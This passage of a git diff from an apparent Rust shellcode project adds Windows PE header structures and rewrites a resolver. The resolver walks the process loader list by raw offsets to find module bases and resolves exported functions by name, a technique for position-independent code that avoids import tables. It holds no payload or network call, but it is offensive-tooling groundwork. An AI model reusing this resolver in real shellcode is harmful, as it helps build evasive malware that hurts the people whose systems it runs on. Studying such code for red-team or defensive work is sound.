IMAGE_OPTIONAL_HEADER64, +} + +#[repr(C)] +pub struct IMAGE_FILE_HEADER { + pub Machine: IMAGE_FILE_MACHINE, + pub NumberOfSections: u16, + pub TimeDateStamp: u32, + pub PointerToSymbolTable: u32, + pub NumberOfSymbols: u32, + pub SizeOfOptionalHeader: u16, + pub Characteristics: IMAGE_FILE_CHARACTERISTICS, +} + +#[repr(C, packed(4))] +pub struct IMAGE_OPTIONAL_HEADER64 { + + pub Magic: IMAGE_OPTIONAL_HEADER_MAGIC, + pub MajorLinkerVersion: u8, + pub MinorLinkerVersion: u8, + pub SizeOfCode: u32, + pub SizeOfInitializedData: u32, + pub SizeOfUninitializedData: u32, + pub AddressOfEntryPoint: u32, + pub BaseOfCode: u32, + pub ImageBase: u64, + pub SectionAlignment: u32, + pub FileAlignment: u32, + pub MajorOperatingSystemVersion: u16, + pub MinorOperatingSystemVersion: u16, + pub MajorImageVersion: u16, + pub MinorImageVersion: u16, + pub MajorSubsystemVersion: u16, + pub MinorSubsystemVersion: u16, + pub Win32VersionValue: u32, + pub SizeOfImage: u32, + pub SizeOfHeaders: u32, + pub CheckSum: u32, + pub Subsystem: IMAGE_SUBSYSTEM, + pub DllCharacteristics: IMAGE_DLL_CHARACTERISTICS, + pub SizeOfStackReserve: u64, + pub SizeOfStackCommit: u64, + pub SizeOfHeapReserve: u64, + pub SizeOfHeapCommit: u64, + pub LoaderFlags: u32, + pub NumberOfRvaAndSizes: u32, + pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16], +} + +#[repr(transparent)] +pub struct IMAGE_FILE_MACHINE(pub u16); + +#[repr(transparent)] +pub struct IMAGE_FILE_CHARACTERISTICS(pub u16); + +#[repr(transparent)] +pub struct IMAGE_OPTIONAL_HEADER_MAGIC(pub u16); + +#[repr(transparent)] +pub struct IMAGE_SUBSYSTEM(pub u16); + +#[repr(transparent)] +pub struct IMAGE_DLL_CHARACTERISTICS(pub u16); + +#[repr(C)] +pub struct IMAGE_DATA_DIRECTORY { + pub VirtualAddress: u32, + pub Size: u32, +} + +pub const IMAGE_NT_SIGNATURE: u32 = 17744u32; + +#[repr(C)] +pub struct IMAGE_EXPORT_DIRECTORY { + pub Characteristics: u32, + pub TimeDateStamp: u32, + pub MajorVersion: u16, + pub MinorVersion: u16, + pub Name: u32, + pub Base: u32, + pub NumberOfFunctions: u32, + pub NumberOfNames: u32, + pub AddressOfFunctions: u32, + pub AddressOfNames: u32, + pub AddressOfNameOrdinals: u32, +} \ No newline at end of file diff --git a/shellcode/src/resolver.rs b/shellcode/src/resolver.rs index 46ed497..d549549 100644 --- a/shellcode/src/resolver.rs +++ b/shellcode/src/resolver.rs @@ -2,7 +2,7 @@ #![allow(non_camel_case_types)] #![allow(dead_code)] -use core::{arch::asm, ffi::c_void, ops::Add, slice::from_raw_parts, str::{from_utf8, from_utf8_mut}}; +use core::{arch::asm, ffi::c_void, ops::Add, str::{from_utf8, from_utf8_mut}}; /// A structure containing the module name, function name, and export address for each function loaded /// into the portable executable on x64 systems only. @@ -48,19 +48,24 @@ fn get_module_base(module_name: &[u8]) -> Option { let dll_base = *(current_entry.add(0x30) as *const usize); let module_name_address = *(current_entry.add(0x60) as *const usize); let module_length = *(current_entry.add(0x58) as *const u16); - + // check if the module name address is valid and not zero if module_name_address != 0 && module_length > 0 { // read the module name from memory - let dll_name_slice = from_raw_parts(module_name_address as *const u16, (module_length / 2) as usize); let mut buffer = [0u8; 512]; - if let Some(dll_name) = wide_to_str(dll_name_slice, &mut buffer) { - // do we have a match on the module name? - if dll_name.eq_ignore_ascii_case(module_name) { - return Some(dll_base); + let dll_name = unsafe { + let mut len = 0; + while len < (module_length / 2) as usize && (module_name_address as *const u16).add(len).read() != 0 { + buffer[len] = (module_name_address as *const u16).add(len).read() as u8; + len += 1; } - } + from_utf8(&buffer[..len]).unwrap_or("") + }; + // do we have a match on the module name? + if dll_name.eq_ignore_ascii_case(module_name) { + return Some(dll_base); + } } else { return None; } @@ -142,18 +147,16 @@ pub fn get_function_from_exports<'a>(dll_name: &'a [u8], needle: &'a [u8]) -> Op let name_addr = unsafe { dll_base.add(name_rva) }; // read the function name - let function_name = unsafe { - let char = name_addr as *const u8; - let mut len = 0; - // iterate over the memory until a null terminator is found - while *char.add(len) != 0 { + let mut function_name = [0u8; 256]; + let mut len = 0; + unsafe { + while len < function_name.len() && (name_addr.add(len) as *const u8).read() != 0 { + function_name[len] = (name_addr.add(len) as *const u8).read(); len += 1; } + } - from_raw_parts(char, len) - }; - - let function_name = from_utf8(function_name).unwrap_or("Invalid UTF-8"); + let function_name = from_utf8(&function_name[..len]).unwrap_or("Invalid UTF-8"); if function_name.eq("Invalid UTF-8") { return None; }